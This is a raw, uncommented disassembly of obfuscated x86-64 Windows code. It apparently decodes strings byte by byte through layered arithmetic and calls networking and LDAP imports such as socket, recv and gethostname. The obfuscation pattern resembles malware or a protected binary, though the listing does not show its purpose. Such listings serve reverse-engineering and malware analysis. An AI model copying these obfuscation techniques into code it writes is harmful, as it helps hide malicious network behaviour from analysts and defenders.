sub r11b, 0x2c
add r11b, dl
jmp 0x14013617b
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401361b7
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401360bf
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x14013620e
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x7c
jmp 0x140136240
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14013629d
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
cmp r10, 0x41
jb 0x140136018
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 8]
jmp 0x140136106
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 3
jae 0x140136029
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x140135f59
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x140135b31
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x140136053
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x140135e70
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x140135b85
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013629d
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x140136240
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140135ab4
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x1401360bf
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401361cb
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x78
jmp 0x14013617b
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0xc
jmp 0x14013614e
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x14013614b
movabs rcx, 0x81439a769aca052c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x34
jmp 0x140136106
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x140135d8f
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140135be0
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140135dbf
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013629d
cmp rbx, rcx
jne 0x140135de0
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
jmp 0x140136202
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140135e0e
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x140135a66
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140135e3b
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x64
jmp 0x14013614e
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140135be0
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x14013614b
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140135e9e
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x140135a08
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140135ecf
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x14013614e
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140135efc
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x7a
jmp 0x1401361cb
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140135f28
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x52
jmp 0x14013620b
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140135b85
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x14013629d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140135f76
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x140135da7
cmp rbx, rcx
jne 0x140135f9e
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x24
jmp 0x140135c66
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140135fcb
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x68
jmp 0x1401361cb
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140135fe8
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x140135e57
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140135b31
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x18
jmp 0x140135a08
mov byte [rbp + r9 + 0xcd0], dil
mov qword [rbp - 0x50], rdi
jmp 0x1401362b0
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + r9 + 0xcd0]
jmp 0x140135e06
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, byte [rbp + r9 + 0xcd0]
sub r11b, 0x5c
jmp 0x14013620b
movabs rcx, 0x292707bcd6f97ac2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x4e
jmp 0x140136240
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
mov qword [rbp - 0x50], rdi
jmp 0x1401361d5
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x32
jmp 0x14013614e
movabs rcx, 0x7a72353e09179f56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xcd0], cl
jmp 0x14013614b
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x16
add r10, r15
mov qword [rbp - 0x50], r11
sub r9, r15
mov rdi, r11
jmp 0x1401362b0
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x3e
movabs rcx, 0x9e4c2ab7081dedaa
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, r8b
mov byte [rbp + r9 + 0xcd0], dl
jmp 0x1401361cb
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
mov qword [rbp - 0x50], r11
add rbx, r10
mov rdi, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401362b0
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xcd0], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x50], r11
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xcd0], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rdi, r11
jmp 0x1401362a1
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
movzx eax, byte [rbp + r9 + 0xcd0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401356e8
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov qword [rbp - 0x50], rdi
jmp 0x1401356e3
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
jmp 0x1401356d3
lea rdx, [rbp + 0x1600248]
jmp 0x140136323
lea rdx, [rbp + 0x1026d62]
jmp 0x140136323
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x320]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1750]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140136358
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1750]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1750]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1750]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x580], Ordinal_60
mov byte [rbp + 0x581], Ordinal_143
mov byte [rbp + 0x582], 0x61
mov byte [rbp + 0x583], 0xf3
mov byte [rbp + 0x584], 0x5a
mov byte [rbp + 0x585], 0xf1
mov byte [rbp + 0x586], 0x62
mov byte [rbp + 0x587], 0xf7
mov byte [rbp + 0x588], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x589], 0xf5
mov byte [rbp + 0x58a], 0x5b
mov byte [rbp + 0x58b], 0xfb
mov byte [rbp + 0x58c], WSACleanup
mov byte [rbp + 0x58d], 0xf9
mov byte [rbp + 0x58e], 0x5b
mov byte [rbp + 0x58f], 0xff
mov byte [rbp + 0x590], r14b
mov byte [rbp + 0x591], 0xfd
mov byte [rbp + 0x592], 0x59
mov byte [rbp + 0x593], 0xe3
mov byte [rbp + 0x594], Ordinal_79
mov byte [rbp + 0x595], 0xe1
mov byte [rbp + 0x596], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x597], 0xe7
mov byte [rbp + 0x598], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x599], 0xe5
mov byte [rbp + 0x59a], 0x7f
mov byte [rbp + 0x59b], 0xeb
mov byte [rbp + 0x59c], 0x7a
mov byte [rbp + 0x59d], 0xe9
mov byte [rbp + 0x59e], Ordinal_79
mov byte [rbp + 0x59f], 0xef
mov byte [rbp + 0x5a0], 0x7a
mov byte [rbp + 0x5a1], 0xed
mov byte [rbp + 0x5a2], 0x88
mov byte [rbp + 0x5a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5a4], 0x84
mov byte [rbp + 0x5a5], Ordinal_211
mov byte [rbp + 0x5a6], Ordinal_217
mov byte [rbp + 0x5a7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5a8], rax
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401370e8
movzx r8d, byte [rbp + r9 + 0x580]
mov rdx, r8
cmp rbx, r9
ja 0x1401370df
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140136517
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdx
add sil, 0x4e
jmp 0x1401367d3
je 0x14013704f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140136fc2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140136f8f
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140136f3d
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140136ee4
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401370d6
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x140136581
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140136796
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140136ed2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140136eac
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140136e87
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140136e73
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140136e51
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140136b21
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140136b07
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140136ae2
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140136abf
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140136a9a
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140136a78
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140136a54
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140136a34
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140136a12
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401369eb
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401365cf
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401370ae
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140137086
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401367dc
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401367b2
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140136787
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401369c5
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14013699f
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140136978
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140136948
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401365cf
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140136921
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1401368ff
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401368dd
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401368b6
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140136894
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140136871
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14013684e
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14013682c
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140136807
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401365cf
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x1401365cf
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401365c2
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x42
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x14013655b
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401364db
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x140136f02
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x6c
jmp 0x140136ce1
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 8
jmp 0x140136ecc
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140136f59
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, r14b
jmp 0x140136f83
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x140136fab
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x78
jmp 0x140136fe3
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
jmp 0x140137013
movabs rdx, 0x35c12dd26ef64cd0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x14013706b
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x36
mov qword [rbp - 0x48], rsi
mov byte [rbp + r9 + 0x580], sil
jmp 0x14013707e
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x140136bc2
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x6e
add sil, dl
jmp 0x140136b86
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0xa
add sil, dl
jmp 0x140136b47
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14013706b
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x38
jmp 0x140137013
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
jmp 0x140136fde
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x70
jmp 0x140136fab
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0xc
jmp 0x140136f83
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x140136f5b
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x44
jmp 0x140136ecc
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x140136ce1
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x7c
jmp 0x140136ef9
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x140136bf7
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
mov qword [rbp - 0x48], rsi
lea rax, [r10 + rbx]
cmp rax, 0x80
je 0x140136e29
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x140136c9d
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x6a
mov qword [rbp - 0x48], rsi
cmp rbx, 0x1000
jae 0x140136e03
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x140136d28
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 4
mov qword [rbp - 0x48], rsi
cmp r10, 9
jb 0x14013696b
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dl
jmp 0x140136f02
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140136c23
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x34
jmp 0x14013706b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140136c3e
movabs rdx, 0xb8b05b574343cd24
mov ecx, r12d
jmp 0x140136a43
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140136c6b
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x60
jmp 0x140136fab
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140136b4b
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x140136f83
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140136cba
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140136816
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140136cea
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x32
mov qword [rbp - 0x48], rdx
jmp 0x140136f2e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140136d07
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x140136aa9
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140136b8a
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
jmp 0x1401369fa
jne 0x140136d4e
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x68
jmp 0x14013706b
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140136d79
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x140136fe3
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140136da9
movabs rdx, 0x2690b2b5dca60bcc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x140136fab
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140136dd3
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x5c
jmp 0x140136f59
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x140136bc6
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140136f00
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, byte [rbp + r9 + 0x580]
sub cl, al
sub dl, 0x50
jmp 0x140136ab5
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0x580]
jmp 0x140136fde
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x56
jmp 0x140136fe3
movabs rdx, 0x52684186f309aefe
mov ecx, 7
jmp 0x1401368c5
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x140136f83
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x48], rdx
jmp 0x140136f31
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x140136def
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x36
add al, al
mov cl, r8b
sub cl, al
add dl, cl
mov qword [rbp - 0x48], rdx
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x580], cl
add r10, r15
sub r9, r15
mov rsi, qword [rbp - 0x48]
jmp 0x14013707e
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xa
add dl, cl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, dl
add r8b, cl
sub r8b, r12b
